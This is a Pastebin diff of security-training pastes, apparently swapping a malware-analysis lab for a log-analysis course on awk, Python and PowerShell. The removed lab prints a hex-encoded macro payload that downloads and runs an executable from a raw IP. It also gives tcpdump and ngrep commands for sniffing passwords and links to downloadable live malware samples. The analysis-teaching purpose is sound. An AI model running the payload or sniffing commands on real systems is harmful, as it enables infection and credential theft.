View difference between Paste ID: WEDwpcz9 and QXURDzmA

 ##################################
-# Download the Analysis VM #
+# Pentester Academy Log Analysis #
 ##################################
-https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
+
-user: infosecaddicts
+I'm doing this set of videos for my good friend Vivek Ramachandran at SecurityTube.net/PentesterAcademy.com
-pass: infosecaddicts
+
 
 
 
 
-- Log in to your Ubuntu system with the username 'malware' and the password 'malware'.
+##########
 # VMWare #
-- After logging please open a terminal window and type the following commands:
+##########
----------------------------Type This-----------------------------------
+- For this workshop you'll need the latest version of VMWare Workstation (Windows), Fusion (Mac), or Player.
-cd Desktop/
+
------------------------------------------------------------------------
+- Although you can get the VM to run in VirtualBox, I will not be supporting this configuration for this class.
 
-- This is actual Malware (remmeber to run it in a VM - the password to extract it is 'infected':
+VM for these labs
 -----------------
----------------------------Type This-----------------------------------
+https://s3.amazonaws.com/infosecaddictsvirtualmachines/Win7x64.zip
-cd ~/Desktop/
+        username: workshop
-wget https://s3.amazonaws.com/infosecaddictsfiles/malware-password-is-infected.zip --no-check-certificate
+        password: password
-wget https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py --no-check-certificate
+
 
-unzip malware-password-is-infected.zip
+
-	infected
+
 ##############################################
-file malware.exe
+# Log Analysis with Linux command-line tools #
 ##############################################
-mv malware.exe malware.pdf
+The following command line executables are found in the Mac as well as most Linux Distributions.
 
-file malware.pdf
+cat –  prints the content of a file in the terminal window
 grep – searches and filters based on patterns
-mv malware.pdf malware.exe
+awk –  can sort each row into fields and display only what is needed
 sed –  performs find and replace functions
-hexdump -n 2 -C malware.exe
+sort – arranges output in an order
------------------------------------------------------------------------
+uniq – compares adjacent lines and can report, filter or provide a count of duplicates
 
 
-***What is '4d 5a' or 'MZ'***
+
-Reference:
+###############
-http://www.garykessler.net/library/file_sigs.html
+# Apache Logs #
 ###############
----------------------------Type This-----------------------------------
+
-objdump -x malware.exe
+
 http://www.the-art-of-web.com/system/logs/
-strings malware.exe
+
 wget https://s3.amazonaws.com/SecureNinja/Python/access_log
-strings --all malware.exe | head -n 6
+
 
-strings malware.exe | grep -i dll
+You want to list all user agents ordered by the number of times they appear (descending order):
 
-strings malware.exe | grep -i library
+awk -F\" '{print $6}' access_log | sort | uniq -c | sort -fr
 
-strings malware.exe | grep -i reg
+
 
-strings malware.exe | grep -i hkey
+Using the default separator which is any white-space (spaces or tabs) we get the following:
 
-strings malware.exe | grep -i hku
+awk '{print $1}' access_log         # ip address (%h)
------------------------------------------------------------------------
+awk '{print $2}' access_log         # RFC 1413 identity (%l)
-							- We didn't see anything like HKLM, HKCU or other registry type stuff
+awk '{print $3}' access_log         # userid (%u)
 awk '{print $4,5}' access_log       # date/time (%t)
 awk '{print $9}' access_log         # status code (%>s)
----------------------------Type This-----------------------------------
+awk '{print $10}' access_log        # size (%b)
-strings malware.exe | grep -i irc
+
 You might notice that we've missed out some items. To get to them we need to set the delimiter to the " character which changes the way the lines are 'exploded' and allows the following:
-strings malware.exe | grep -i join
+
 awk -F\" '{print $2}' access_log    # request line (%r)
-strings malware.exe | grep -i admin
+awk -F\" '{print $4}' access_log    # referer
 awk -F\" '{print $6}' access_log    # user agent
-strings malware.exe | grep -i list
+
------------------------------------------------------------------------
+
 awk -F\" '{print $6}' access_log \
-							- List of IRC commands: https://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands
+  | sed 's/(\([^;]\+; [^;]\+\)[^)]*)/(\1)/' \
   | sort | uniq -c | sort -fr
----------------------------Type This-----------------------------------
+
-sudo apt-get install -y python-pefile
+
-     malware
+The next step is to start filtering the output so you can narrow down on a certain page or referer. Would you like to know which pages Google has been requesting from your site?
 
-vi analyse_malware.py
+awk -F\" '($6 ~ /Googlebot/){print $2}' access_log | awk '{print $2}'
 Or who's been looking at your guestbook?
-python analyse_malware.py malware.exe
+
------------------------------------------------------------------------
+awk -F\" '($2 ~ /guestbook\.html/){print $6}' access_log
 
 
 Reference:
 https://blog.nexcess.net/2011/01/21/one-liners-for-apache-log-files/
 
-# Good references for WannaCry #
+# top 20 URLs from the last 5000 hits
 tail -5000 ./access_log | awk '{print $7}' | sort | uniq -c | sort -rn | head -20
 tail -5000 ./access_log | awk '{freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20
-References:
+
 # top 20 URLS excluding POST data from the last 5000 hits
-https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168
+tail -5000 ./access_log | awk -F"[ ?]" '{print $7}' | sort | uniq -c | sort -rn | head -20
-https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
+tail -5000 ./access_log | awk -F"[ ?]" '{freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20
-https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
+
 # top 20 IPs from the last 5000 hits
 tail -5000 ./access_log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20
 tail -5000 ./access_log | awk '{freq[$1]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20
-- After logging please open a terminal window and type the following commands:
+
----------------------------Type This-----------------------------------
+# top 20 URLs requested from a certain ip from the last 5000 hits
-cd Desktop/
+IP=1.2.3.4; tail -5000 ./access_log | grep $IP | awk '{print $7}' | sort | uniq -c | sort -rn | head -20
 IP=1.2.3.4; tail -5000 ./access_log | awk -v ip=$IP ' $1 ~ ip {freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20
-wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip
+
 # top 20 URLS requested from a certain ip excluding, excluding POST data, from the last 5000 hits
-unzip wannacry.zip
+IP=1.2.3.4; tail -5000 ./access_log | fgrep $IP | awk -F "[ ?]" '{print $7}' | sort | uniq -c | sort -rn | head -20
-     infected
+IP=1.2.3.4; tail -5000 ./access_log | awk -F"[ ?]" -v ip=$IP ' $1 ~ ip {freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20
 
-file wannacry.exe
+# top 20 referrers from the last 5000 hits
 tail -5000 ./access_log | awk '{print $11}' | tr -d '"' | sort | uniq -c | sort -rn | head -20
-mv wannacry.exe malware.pdf
+tail -5000 ./access_log | awk '{freq[$11]++} END {for (x in freq) {print freq[x], x}}' | tr -d '"' | sort -rn | head -20
 
-file malware.pdf
+# top 20 user agents from the last 5000 hits
 tail -5000 ./access_log | cut -d\  -f12- | sort | uniq -c | sort -rn | head -20
-mv malware.pdf wannacry.exe
+
 # sum of data (in MB) transferred in the last 5000 hits
-hexdump -n 2 -C wannacry.exe
+tail -5000 ./access_log | awk '{sum+=$10} END {print sum/1048576}'
------------------------------------------------------------------------
+
 
 ##############
 # Cisco Logs #
-***What is '4d 5a' or 'MZ'***
+
 
-http://www.garykessler.net/library/file_sigs.html
+wget https://s3.amazonaws.com/StrategicSec-Files/LogAnalysis/cisco.log
 
 
 AWK Basics
 ----------
----------------------------Type This-----------------------------------
+To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
-objdump -x wannacry.exe
+
 cat cisco.log | awk '{print $5}' | tail -n 4
-strings wannacry.exe
+
 
-strings --all wannacry.exe | head -n 6
+
 
-strings wannacry.exe | grep -i dll
+Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
 
-strings wannacry.exe | grep -i library
+cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
 
-strings wannacry.exe | grep -i reg
+
 
-strings wannacry.exe | grep -i key
+
 While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
-strings wannacry.exe | grep -i rsa
+
 cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
-strings wannacry.exe | grep -i open
+
 
-strings wannacry.exe | grep -i get
+
 
-strings wannacry.exe | grep -i mutex
+
 Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
-strings wannacry.exe | grep -i irc
+
 cat cisco.log | grep %LINEPROTO-5-UPDOWN:
-strings wannacry.exe | grep -i join
+
 cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
-strings wannacry.exe | grep -i admin
+
 cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
-strings wannacry.exe | grep -i list
+
------------------------------------------------------------------------
+cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
 
 
 
 
 #################################
 # Using Python for log analysis #
 #################################
 
 
 
-Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
+
 ###########################################
-Quick Google search for "wannacry ransomeware analysis"
+# Python Basics Lesson 1: Simple Printing #
 ###########################################
 
-Reference
+>>> print 1
-https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
+
 >>> print hello
-- Yara Rule -
+
 >>> print "hello"
 
-Strings:
+>>> print "Today we are learning Python."
-$s1 = “Ooops, your files have been encrypted!” wide ascii nocase
+
-$s2 = “Wanna Decryptor” wide ascii nocase
+
-$s3 = “.wcry” wide ascii nocase
+
-$s4 = “WANNACRY” wide ascii nocase
+###################################################
-$s5 = “WANACRY!” wide ascii nocase
+# Python Basics Lesson 2: Simple Numbers and Math #
-$s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
+###################################################
 
 >>> 2+2
 
 >>> 6-3
 
 >>> 18/7
 
 >>> 18.0/7
-Ok, let's look for the individual strings
+
 >>> 18.0/7.0
 
----------------------------Type This-----------------------------------
+>>> 18/7
-strings wannacry.exe | grep -i ooops
+
 >>> 9%4
-strings wannacry.exe | grep -i wanna
+
 >>> 8%4
-strings wannacry.exe | grep -i wcry
+
 >>> 8.75%.5
-strings wannacry.exe | grep -i wannacry
+
 >>> 6.*7
-strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
+
- -----------------------------------------------------------------------
+>>> 6*6*6
 
 >>> 6**3
 
 >>> 5**12
 
 >>> -5**4
-####################################
+
-# Tired of GREP - let's try Python #
+
-####################################
+
-Decided to make my own script for this kind of stuff in the future. I
+
 
-Reference1:
+
-https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py
+#####################################
 # Python Basics Lesson 3: Variables #
-This is a really good script for the basics of static analysis
+#####################################
 
 >>> x=18
-https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
+
 >>> x+15
 
-This is really good for showing some good signatures to add to the Python script
+>>> x**3
 
 >>> y=54
-Here is my own script using the signatures (started this yesterday, but still needs work):
+
-https://pastebin.com/guxzCBmP
+>>> x+y
 
 >>> age=input("Enter number here: ")
         43
----------------------------Type This-----------------------------------
+
-sudo apt install -y python-pefile
+>>> age+32
-     infosecaddicts
+
 >>> age**3
 
 >>> fname = raw_input("Enter your first name: ")
-wget https://pastebin.com/raw/guxzCBmP
+
 >>> lname = raw_input("Enter your first name: ")
 
-mv guxzCBmP am.py
+>>> fname = raw_input("Enter your name: ")
 Enter your name: Joe
 
-vi am.py
+>>> lname = raw_input("Enter your name: ")
 Enter your name: McCray
-python am.py wannacry.exe
+
- -----------------------------------------------------------------------
+>>> print fname
 Joe
 
 >>> print lname
 McCray
 
 >>> print fname lname
 
-Building a Malware Scanner
+>>> print fname+lname
---------------------------
+JoeMcCray
 
----------------------------Type This-----------------------------------
+
-mkdir ~/Desktop/malwarescanner
+
 NOTE:
-cd ~/Desktop/malwarescanner
+Use "input() for integers and expressions, and use raw_input() when you are dealing with strings.
 
-wget https://github.com/jonahbaron/malwarescanner/archive/master.zip
+
 
-unzip master.zip
+
 
-cd malwarescanner-master/
+#################################################
 # Python Basics Lesson 4: Modules and Functions #
-python scanner.py -h
+#################################################
 
-cat strings.txt
+>>> 5**4
 
-cat hashes.txt
+>>> pow(5,4)
 
-mkdir ~/Desktop/malcode
+>>> abs(-18)
 
-cp ~/Desktop/malware.exe ~/Desktop/malcode
+>>> abs(5)
 
-python scanner.py -H hashes.txt -D ~/Desktop/malcode/ strings.txt
+>>> floor(18.7)
 
-cd ~/Desktop/
+>>> import math
- -----------------------------------------------------------------------
+
 >>> math.floor(18.7)
 
-#####################################################
+>>> math.sqrt(81)
-# Analyzing Macro Embedded Malware                  #
+
-# Reference:                                        #
+>>> joe = math.sqrt
-# https://jon.glass/analyzes-dridex-malware-p1/     #
+
-#####################################################
+>>> joe(9)
----------------------------Type This-----------------------------------
+
-cd ~/Desktop/
+>>> joe=math.floor
 
 >>> joe(19.8)
-sudo pip install olefile
+
-
+
 
-mkdir ~/Desktop/oledump
+
 
-cd ~/Desktop/oledump
+
 
-wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
+
 
-unzip oledump_V0_0_22.zip
+###################################
 # Python Basics Lesson 5: Strings #
-wget https://s3.amazonaws.com/infosecaddictsfiles/064016.zip
+###################################
 
-unzip 064016.zip
+>>> "XSS"
-     infected
+
 >>> 'SQLi'
-python oledump.py 064016.doc
+
 >>> "Joe's a python lover"
-python oledump.py 064016.doc -s A4 -v
+
- -----------------------------------------------------------------------
+>>> 'Joe\'s a python lover'
 
 >>> "Joe said \"InfoSec is fun\" to me"
 
-- From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
+>>> a = "Joe"
-- Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
+
 >>> b = "McCray"
----------------------------Type This-----------------------------------
+
-python oledump.py 064016.doc -s A5 -v
+>>> a, b
------------------------------------------------------------------------
+
 >>> a+b
-- As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
+
 
----------------------------Type This-----------------------------------
+
-python oledump.py 064016.doc -s A3 -v
+
 
-- Look for "GVhkjbjv" and you should see:
+
 
-636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
+
 ########################################
-- Take that long blob that starts with 636D and finishes with 653B and paste it in:
+# Python Basics Lesson 6: More Strings #
-http://www.rapidtables.com/convert/number/hex-to-ascii.htm
+########################################
 
 >>> num = 10
 
 >>> num + 2
 
-# Yara Ninja #
+>>> "The number of open ports found on this system is " + num
 
----------------------------Type This-----------------------------------
+>>> num = str(18)
-sudo apt-get remove -y yara
+
 >>> "There are " + num + " vulnerabilities found in this environment."
 
-wget https://github.com/plusvic/yara/archive/v3.4.0.zip
+>>> num2 = 46
 
-sudo apt-get -y install libtool
+>>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is " + `num2`
 
 
-unzip v3.4.0.zip
+
 NOTE:
-cd yara-3.4.0
+Use "input() for integers and expressions, and use raw_input() when you are dealing with strings.
 
-./bootstrap.sh
+
 
-./configure
+
 
-make
+
 
-sudo make install
+###############################################
 # Python Basics Lesson 7: Sequences and Lists #
 ###############################################
-yara -v
+
 >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
-cd ..
+
 >>> attacks
-wget https://github.com/Yara-Rules/rules/archive/master.zip
+['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
 
-unzip master.zip
+>>> attacks[3]
 'SQL Injection'
-cd ~/Desktop
+
 >>> attacks[-2]
-yara rules-master/packer.yar malcode/malware.exe
+'Cross-Site Scripting'
- -----------------------------------------------------------------------
+
 
-Places to get more Yara rules:
+
-------------------------------
+
-https://malwareconfig.com/static/yaraRules/
+
-https://github.com/kevthehermit/YaraRules
+
-https://github.com/VectraThreatLab/reyara
+########################################
 # Python Basics Level 8: If Statement #
 ########################################
 >>> attack="SQLI"
-Yara rule sorting script:
+>>> if attack=="SQLI":
--------------------------
+        print 'The attacker is using SQLI'
-https://github.com/mkayoh/yarasorter
+
 >>> attack="XSS"
 >>> if attack=="SQLI":
----------------------------Type This-----------------------------------
+        print 'The attacker is using SQLI'
-cd ~/Desktop/rules-master
+
-for i in $( ls *.yar --hide=master.yar ); do echo include \"$i\";done > master.yar
+
-cd ~/Desktop/
+
-yara rules-master/master.yar malcode/malware.exe
+# Reference Videos To Watch #
- -----------------------------------------------------------------------
+
 Here is your first set of youtube videos that I'd like for you to watch:
 https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10)
 
 
 
 
 
 #####################################
 # Lesson 9: Intro to Log Analysis #
-Here is a 2 million sample malware DB created by Derek Morton that you can use to start your DB with:
+#####################################
-http://derekmorton.name/files/malware_12-14-12.sql.bz2
+
 Login to your StrategicSec Ubuntu machine. You can download the VM from the following link:
 
-Malware Repositories:
+https://s3.amazonaws.com/StrategicSec-VMs/Strategicsec-Ubuntu-VPN-163.zip
-http://malshare.com/index.php
+        username: strategicsec
-http://www.malwareblacklist.com/
+        password: strategicsec
-http://www.virusign.com/
+
-http://virusshare.com/
+Then execute the following commands:
-http://www.tekdefense.com/downloads/malware-samples/
+---------------------------------------------------------------------------------------------------------
 
 
 wget https://s3.amazonaws.com/SecureNinja/Python/access_log
 
-###############################
+
-# Creating a Malware Database #
+cat access_log | grep 141.101.80.188
-###############################
+
 cat access_log | grep 141.101.80.187
-Creating a malware database (sqlite)
+
----------------------------Type This-----------------------------------
+cat access_log | grep 108.162.216.204
-sudo apt-get install -y python-simplejson python-simplejson-dbg
+
 cat access_log | grep 173.245.53.160
 
-wget https://s3.amazonaws.com/infosecaddictsfiles/avsubmit.py
+
-wget https://s3.amazonaws.com/infosecaddictsfiles/malware-password-is-infected.zip
+
 Google the following terms:
-unzip malware-password-is-infected.zip
+        - Python read file
-	infected
+        - Python read line
         - Python read from file
-python avsubmit.py --init
+
 
-python avsubmit.py -f malware.exe -e
+
- -----------------------------------------------------------------------
+
 ########################################################
 # Lesson 10: Use Python to read in a file line by line #
 ########################################################
 
-Creating a malware database (mysql)
+
 Reference:
-- Step 1: Installing MySQL database
+http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/
-- Run the following command in the terminal:
+
----------------------------Type This-----------------------------------
+
-sudo apt-get install mysql-server
+
 
-
+
-- Step 2: Installing Python MySQLdb module
+
-- Run the following command in the terminal:
+Let's have some fun.....
----------------------------Type This-----------------------------------
+
-sudo apt-get build-dep python-mysqldb
+
 >>> f = open('access_log', "r")
 
-sudo apt-get install python-mysqldb
+>>> lines = f.readlines()
 
- -----------------------------------------------------------------------
+>>> print lines
 
-Step 3: Logging in
+>>> lines[0]
-Run the following command in the terminal:
+
----------------------------Type This-----------------------------------
+>>> lines[10]
-mysql -u root -p					(set a password of 'malware')
+
 >>> lines[50]
-- Then create one database by running following command:
+
----------------------------Type This-----------------------------------
+>>> lines[1000]
-create database malware;
+
 >>> lines[5000]
-exit;
+
 >>> lines[10000]
-wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
+
 >>> print len(lines)
-vi mal_to_db.py						(fill in database connection information)
+
 
-python mal_to_db.py -i
+
- -----------------------------------------------------------------------
+
 
-------- check it to see if the files table was created ------
+
 
-mysql -u root -p
+
-	malware
+
 ---------------------------------------------------------
-show databases;
+vi logread1.py
 
-use malware;
+
 ## Open the file with read only permit
-show tables;
+f = open('access_log', "r")
 
-describe files;
+## use readlines to read all lines in the file
 ## The variable "lines" is a list containing all lines
-exit;
+lines = f.readlines()
 
----------------------------------
+print lines
 
 
-- Now add the malicious file to the DB
+## close the file after reading the lines.
----------------------------Type This-----------------------------------
+f.close()
-python mal_to_db.py -f malware.exe -u
+
- -----------------------------------------------------------------------
+
 
 
-- Now check to see if it is in the DB
+Google the following:
----------------------------Type This-----------------------------------
+        - python difference between readlines and readline
-mysql -u root -p
+        - python readlines and readline
-	malware
+
 
-mysql> use malware;
+
 
-select id,md5,sha1,sha256,time FROM files;
+
 #################################
-mysql> quit;
+# Lesson 11: A quick challenge #
-------------------------------------------------------------------------
+#################################
 
 Can you write an if/then statement that looks for this IP and print "Found it"?
 
 
-#################
+141.101.81.187
-# PCAP Analysis #
+
-#################
+
----------------------------Type This-----------------------------------
+
-cd ~/Desktop/
+
 
-mkdir suspiciouspcap/
+
 ---------------------------------------------------------
-cd suspiciouspcap/
+Hint 1: Use Python to look for a value in a list
 
-wget https://s3.amazonaws.com/infosecaddictsfiles/suspicious-time.pcap
+
 http://www.wellho.net/mouth/1789_Looking-for-a-value-in-a-list-Python.html
-wget https://s3.amazonaws.com/infosecaddictsfiles/chaosreader.pl
+
 
 
-perl chaosreader.pl suspicious-time.pcap
+
 ---------------------------------------------------------
-firefox index.html
+Hint 2: Use Python to prompt for user input
 
-cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
+
 http://www.cyberciti.biz/faq/python-raw_input-examples/
-cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
+
 
 
-for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' |  cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' |  cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host";  done | sort -u
+
-------------------------------------------------------------------------
+
 Hint 3: Use Python to search for a string in a list
 
 Reference:
-####################
+http://stackoverflow.com/questions/4843158/check-if-a-python-list-item-contains-a-string-inside-another-string
-# Intro to TCPDump #
+
-####################
+
----------------------------Type This-----------------------------------
+
-sudo apt-get install tcpdump
+
 
 Here is my solution:
 -------------------
-Basic sniffing
+$ python
---------------
+>>> f = open('access_log', "r")
----------------------------Type This-----------------------------------
+>>> lines = f.readlines()
-sudo tcpdump -n
+>>> ip = '141.101.81.187'
 >>> for string in lines:
 ...     if ip in string:
-Now lets increase the display resolution of this packet, or get more details about it. The verbose switch comes in handy
+...             print(string)
----------------------------Type This-----------------------------------
+
-sudo tcpdump -v -n
+
 
 
 Here is one student's solution - can you please explain each line of this code to me?
-Getting the ethernet header (link layer headers)
+-------------------------------------------------------------------------------------
-------------------------------------------------
+#!/usr/bin/python
-In the above examples details of the ethernet header are not printed. Use the -e option to print the ethernet header details as well.
+
----------------------------Type This-----------------------------------
+f = open('access_log')
-sudo tcpdump -vv -n -e
+
-------------------------------------------------------------------------
+strUsrinput = raw_input("Enter IP Address: ")
 
-Sniffing a particular interface
+for line in iter(f):
     ip = line.split(" - ")[0]
-In order to sniff a particular network interface we must specify it with the -i switch. First lets get the list of available interfaces using the -D switch.
+    if ip == strUsrinput:
----------------------------Type This-----------------------------------
+        print line
-sudo tcpdump -D
+
-------------------------------------------------------------------------
+f.close()
 
-Filtering packets using expressions - Selecting protocols
+
 
----------------------------Type This-----------------------------------
+
-$ sudo tcpdump -n tcp
+
-------------------------------------------------------------------------
+
 Working with another student after class we came up with another solution:
-Particular host or port
+
------------------------
+#!/usr/bin/env python
-Expressions can be used to specify source ip, destination ip, and port numbers. The next example picks up all those packets with source address 192.168.1.101
+
----------------------------Type This-----------------------------------
+
-$ sudo tcpdump -n 'src 192.168.1.101'
+# This line opens the log file
-------------------------------------------------------------------------
+f=open('access_log',"r")
 
-Next example picks up dns request packets, either those packets which originate from local machine and go to port 53 of some other machine.
+# This line takes each line in the log file and stores it as an element in the list
----------------------------Type This-----------------------------------
+lines = f.readlines()
-$ sudo tcpdump -n 'udp and dst port 53'
+
-------------------------------------------------------------------------
+
 # This lines stores the IP that the user types as a var called userinput
-To display the FTP packets coming from 192.168.1.100 to 192.168.1.2
+userinput = raw_input("Enter the IP you want to search for: ")
----------------------------Type This-----------------------------------
+
-$ sudo tcpdump 'src 192.168.1.100 and dst 192.168.1.2 and port ftp'
+
-------------------------------------------------------------------------
+
 # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
-Search the network traffic using grep
+for ip in lines:
     if ip.find(userinput) != -1:
-Grep can be used along with tcpdump to search the network traffic. Here is a very simple example
+        print ip
----------------------------Type This-----------------------------------
+
-$ sudo tcpdump -n -A | grep -e 'POST'
+
-------------------------------------------------------------------------
+
 ##################################################
-So what is the idea behind searching packets. Well one good thing can be to sniff passwords.
+# Lesson 12: Look for web attacks in a log file #
-Here is quick example to sniff passwords using egrep
+##################################################
 
----------------------------Type This-----------------------------------
+In this lab we will be looking at the scan_log.py script and it will scan the server log to find out common hack attempts within your web server log.
-tcpdump port http or port ftp or port smtp or port imap or port pop3 -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' --color=auto --line-buffered -B20
+Supported attacks:
-------------------------------------------------------------------------
+1.          SQL Injection
 2.          Local File Inclusion
 3.          Remote File Inclusion
 4.          Cross-Site Scripting
-#########
+
-# NGrep #
+
-#########
+
 wget https://s3.amazonaws.com/SecureNinja/Python/scan_log.py
-Install ngrep on Ubuntu
+
----------------------------Type This-----------------------------------
+The usage for scan_log.py is simple.  You feed it an apache log file.
-$ sudo apt-get install ngrep
+
-------------------------------------------------------------------------
+cat scan_log.py | less                  (use your up/down arrow keys to look through the file)
 
-Search network traffic for string "User-Agent: "
+
----------------------------Type This-----------------------------------
+
-$ sudo ngrep -d eth0 "User-Agent: " tcp and port 80
+
-------------------------------------------------------------------------
+
-In the above command :
+
-a) tcp and port 80 - is the bpf filter (Berkeley Packet Filter) , that sniffs only TCP packet with port number 80
+# Log Analysis with Powershell #
-b) The d option specifies the interface to sniff. eth0 in this case.
+
-c) "User-Agent: " is the string to search for. All packets that have that string are displayed.
+
 VM for these labs
-2. Search network packets for GET or POST requests :
+-----------------
----------------------------Type This-----------------------------------
+https://s3.amazonaws.com/infosecaddictsvirtualmachines/Win7x64.zip
-$ sudo ngrep -l -q -d eth0 "^GET |^POST " tcp and port 80
+        username: workshop
-------------------------------------------------------------------------
+        password: password
-The l option makes the output buffered and the q option is for quiet ( Be quiet; don't output any information other than packet headers and their payloads (if relevant) ).
+
 
-3. ngrep without any options would simply capture all packets.
+You can do the updates in the Win7 VM (yes, it is a lot of updates).
----------------------------Type This-----------------------------------
+
-$ sudo ngrep
+You'll need to create directory in the Win7 VM called "c:\ps"
-------------------------------------------------------------------------
+
 #####################
-Reference:
+# Powershell Basics #
-https://dl.packetstormsecurity.net/papers/general/ngreptut.txt
+#####################
----------------------------Type This-----------------------------------
+
-$ sudo ngrep -d eth0 -n 3
+PowerShell is Microsoft’s new scripting language that has been built in since the release Vista.
 
-$ sudo ngrep -d any port 25
+PowerShell file extension end in .ps1 .
-------------------------------------------------------------------------
+
 An important note is that you cannot double click on a PowerShell script to execute it.
-This will let you monitor all activity crossing source or destination port 25
+
-(SMTP).
+To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
----------------------------Type This-----------------------------------
+
-$ sudo ngrep -wi -d wlan0 'user|pass' port 6667
+dir
 cd
-$ sudo ngrep -wi -d any 'user|pass' port 21
+
-------------------------------------------------------------------------
+cd c:\
 
 
 To obtain a list of cmdlets, use the Get-Command cmdlet
 
 Get-Command
 
-# PCAP Analysis with tshark #
+
 
----------------------------Type This-----------------------------------
+You can use the Get-Alias cmdlet to see a full list of aliased commands.
-sudo tshark -i eth0 -r suspicious-time.pcap -qz io,phs
+
 Get-Alias
 
-tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
+
 
 Don't worry you won't blow up your machine with Powershell
-tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
+Get-Process | stop-process                              What will this command do?
 Get-Process | stop-process -whatif
 
-tshark -r suspicious-time.pcap arp | grep has | awk '{print $3," -> ",$9}' | tr -d '?'
+
 To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.
 
-tshark -r suspicious-time.pcap -Tfields -e "eth.src" | sort | uniq
+Get-Help Get-Command
 
 Get-Help Get-Service –online
-tshark -r suspicious-time.pcap -R "browser.command==1" -Tfields -e "ip.src" -e "browser.server" | uniq
+
 Get-Service -Name TermService, Spooler
-tshark -r suspicious-time.pcap -Tfields -e "eth.src" | sort |uniq
+
 Get-Service –N BITS
-tshark -r suspicious-time.pcap -qz ip_hosts,tree
+
 Start-Transcript
-tshark -r suspicious-time.pcap -R "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
+
 PowerShell variables begin with the $ symbol. First lets create a variable
-tshark -r suspicious-time.pcap -R "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
+
 $serv = Get-Service –N Spooler
 
-whois rapidshare.com.eyu32.ru
+To see the value of a variable you can just call it in the terminal.
 
-whois sploitme.com.cn
+$serv
 
 $serv.gettype().fullname
